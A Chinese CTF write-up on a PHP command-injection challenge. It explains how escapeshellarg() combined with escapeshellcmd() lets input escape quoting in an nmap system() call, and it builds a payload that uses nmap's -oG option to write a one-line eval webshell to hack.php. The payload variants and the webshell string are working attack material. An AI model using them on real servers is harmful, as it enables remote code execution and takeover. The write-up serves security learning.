今天做的這道題是關於escapeshellarg()+escapeshellcmd()這倆函數的,也是看了下wp,這里記錄一下
題目
拿到題目,題目看着簡單,很好懂
分析
remote_addr和x_forwarded_for這兩個是見的比較多的,服務器獲取ip用的,這里沒什么用,
escapeshellarg()和escapeshellcmd() 沒見過,可以參考這篇文章:https://paper.seebug.org/164/
直接找到了上面這篇文章,這兩個函數在一起用會有些問題
傳入的參數是:172.17.0.2' -v -d a=1
經過escapeshellarg處理后變成了'172.17.0.2'\'' -v -d a=1',即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連接的作用。
經過escapeshellcmd處理后變成'172.17.0.2'\\'' -v -d a=1\',這是因為escapeshellcmd對\以及最后那個不配對兒的引號進行了轉義:
http://php.net/manual/zh/function.escapeshellcmd.php
最后執行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由於中間的\\被解釋為\而不再是轉義字符,所以后面的'沒有被轉義,與再后面
的'配對兒成了一個空白連接符。所以可以簡化為curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\發起請求,POST 數據為a=1'。
簡單的來說就是兩次轉義后出現了問題,沒有考慮到單引號的問題
然后往下看,看到echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
這有個system來執行命令,而且有傳參,肯定是利用這里了
這里代碼的本意是希望我們輸入ip這樣的參數做一個掃描,通過上面的兩個函數來進行規則過濾轉義,我們的輸入會被單引號引起來,但是因為我們看到了上面的漏洞所以我們可以逃脫這個引號的束縛
這里常見的命令后注入操作如 | & &&都不行,雖然我們通過上面的操作逃過了單引號,但escapeshellcmd會對這些特殊符號前面加上\來轉義…
這時候就只有想想能不能利用nmap來做些什么了。
這時候搜索可以發現在nmap命令中 有一個參數-oG可以實現將命令和結果寫到文件
這個命令就是我們的輸入可控!然后寫入到文件!OK很自然的想到了上傳一個一句話木馬了…
我們來構造payload
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
執行后會返回文件夾名
然后用蟻劍連接,拿到flag
我們這里再來分析一下payload容易出現的一些細節上的問題
首先是后面沒有加引號
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php
先經過escapeshellarg()函數處理,該函數會先對單引號轉義,再用單引號將左右兩部分括起來從而起到連接的作用。
?host=''\'' <?php @eval($_POST["hack"]);?> -oG hack.php'
再經過escapeshellcmd()函數處理,escapeshellcmd對\以及最后那個不配對兒的引號進行了轉義,轉義命令中的所有shell元字符來完成工作。這些元字符包括:#&;`,|*?~<>^()[]{}$\\。:
?host=''\'' \<\?php @eval\($_POST\["hack"\]\)\;\?\> -oG hack.php\'
返回結果是上面那樣文件名后面會多一個引號
然后是加引號但引號前沒有空格
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php'
運行結果如下
''\\'' \<\?\php @eval\($_POST\["hack"\]\)\;\?\> -oG hack.php'\\'''
文件名后面就會多出\\
總結
這道題主要就是考查一個escapeshellarg()和escapeshellcmd()這個點
外加一個nmap的文件寫入。
參考
https://paper.seebug.org/164/
https://blog.csdn.net/qq_26406447/article/details/100711933